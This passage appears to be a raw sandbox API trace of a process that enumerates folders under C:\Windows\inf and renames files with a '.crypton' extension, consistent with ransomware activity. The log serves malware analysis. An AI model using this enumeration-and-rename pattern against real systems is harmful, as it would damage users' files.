"c:\\windows\\inf\\asp.net_4.0.30319\\aspnet_perf.h.crypton"), dwFlags=0x2) returned 1 [0254.490] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\aspnet_state\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x150b29e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x150b29e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0254.491] GetFileType (hFile=0x178) returned 0x1 [0254.497] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\aspnet_state\\0000\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x150d8b40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x150d8b40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.498] GetFileType (hFile=0x178) returned 0x1 [0254.504] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\aspnet_state\\0001\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x150d8b40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x150d8b40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.505] GetFileType (hFile=0x178) returned 0x1 [0254.515] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\aspnet_state\\0005\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x150feca0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x150feca0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.516] GetFileType (hFile=0x178) returned 0x1 [0254.521] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\aspnet_state\\0006\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x150feca0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x150feca0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.523] GetFileType (hFile=0x178) returned 0x1 [0254.529] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\aspnet_state\\0007\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x15124e00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x15124e00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.530] GetFileType (hFile=0x178) returned 0x1 [0254.536] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\aspnet_state\\0008\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x15124e00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x15124e00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.537] GetFileType (hFile=0x178) returned 0x1 [0254.543] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\aspnet_state\\0009\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x1514af60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1514af60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.545] GetFileType (hFile=0x178) returned 0x1 [0254.552] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\aspnet_state\\000A\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x1514af60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1514af60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.552] GetFileType (hFile=0x178) returned 0x1 [0254.558] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\aspnet_state\\000B\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x151710c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x151710c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.560] GetFileType (hFile=0x178) returned 0x1 [0254.565] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\aspnet_state\\000C\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x151710c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x151710c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7768fee5, dwReserved1=0x519300, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.566] GetFileType (hFile=0x178) returned 0x1 [0254.570] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\aspnet_state\\000D\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x151710c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x151710c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.572] GetFileType (hFile=0x178) returned 0x1 [0254.576] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\aspnet_state\\000E\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x15197220, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x15197220, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.577] GetFileType (hFile=0x178) returned 0x1 [0254.581] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\aspnet_state\\0010\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x15197220, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x15197220, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.582] GetFileType (hFile=0x178) returned 0x1 [0254.588] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\aspnet_state\\0011\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x151bd380, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x151bd380, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.589] GetFileType (hFile=0x178) returned 0x1 [0254.593] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\aspnet_state\\0012\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x151bd380, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x151bd380, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.595] GetFileType (hFile=0x178) returned 0x1 [0254.600] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\aspnet_state\\0013\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70c12040, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x151bd380, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x151bd380, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.600] GetFileType (hFile=0x178) returned 0x1 [0254.604] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\aspnet_state\\0014\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70c12040, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x151e34e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x151e34e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.606] GetFileType (hFile=0x178) returned 0x1 [0254.612] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\aspnet_state\\0015\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70c12040, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x151e34e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x151e34e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.613] GetFileType (hFile=0x178) returned 0x1 [0254.618] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\aspnet_state\\0019\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70c12040, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x151e34e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x151e34e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.619] GetFileType (hFile=0x178) returned 0x1 [0254.624] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\aspnet_state\\001D\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70c12040, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x15209640, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x15209640, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.624] GetFileType (hFile=0x178) returned 0x1 [0254.629] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\aspnet_state\\001F\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70c12040, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x15209640, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x15209640, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.630] GetFileType (hFile=0x178) returned 0x1 [0254.635] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\aspnet_state\\0404\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x1522f7a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1522f7a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.636] GetFileType (hFile=0x178) returned 0x1 [0254.640] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\aspnet_state\\0416\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70c12040, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x1522f7a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1522f7a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.641] GetFileType (hFile=0x178) returned 0x1 [0254.645] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\aspnet_state\\0804\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bebee0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x1522f7a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1522f7a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.646] GetFileType (hFile=0x178) returned 0x1 [0254.652] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\aspnet_state\\0816\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70c12040, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x15255900, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x15255900, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.654] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\aspnet_state\\aspnet_state_perf.h" (normalized: "c:\\windows\\inf\\aspnet_state\\aspnet_state_perf.h"), lpNewFileName="C:\\\\Windows\\inf\\aspnet_state\\aspnet_state_perf.h.crypton" (normalized: "c:\\windows\\inf\\aspnet_state\\aspnet_state_perf.h.crypton"), dwFlags=0x2) returned 1 [0254.663] GetFileType (hFile=0x1f0) returned 0x1 [0254.668] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\BITS\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe5504be, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1527ba60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1527ba60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0254.669] GetFileType (hFile=0x178) returned 0x1 [0254.674] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\BITS\\0000\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe576618, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1527ba60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1527ba60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0254.674] GetFileType (hFile=0x178) returned 0x1 [0254.681] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\BITS\\0409\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1527ba60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1527ba60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.682] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0254.682] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0254.682] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0254.684] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0254.684] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0254.685] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0254.685] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0254.686] CloseHandle (hObject=0x178) returned 1 [0254.690] GetFileType (hFile=0x1f0) returned 0x1 [0254.694] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\en-US\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x375a498b, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x152a1bc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x152a1bc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0254.695] GetFileType (hFile=0x1f0) returned 0x1 [0254.700] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ESENT\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe576618, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x152c7d20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x152c7d20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0254.701] GetFileType (hFile=0x178) returned 0x1 [0254.714] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ESENT\\0000\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe576618, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x152ede80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x152ede80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.719] GetFileType (hFile=0x178) returned 0x1 [0254.725] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\ESENT\\0409\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x152ede80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x152ede80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0254.729] GetFileType (hFile=0x1f0) returned 0x1 [0254.735] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\IEM\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x15313fe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x15313fe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0254.736] GetFileType (hFile=0x178) returned 0x1 [0254.740] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\IEM\\0409\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x15313fe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x15313fe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0254.752] GetFileType (hFile=0x1f0) returned 0x1 [0254.760] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\MSDTC\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe576618, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1533a140, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1533a140, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0254.760] GetFileType (hFile=0x178) returned 0x1 [0254.765] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\MSDTC\\0000\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe59c772, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x153602a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x153602a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0254.765] GetFileType (hFile=0x178) returned 0x1 [0254.769] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\MSDTC\\0409\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x153602a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x153602a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0254.772] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0254.772] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0254.772] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0254.772] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0254.772] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: 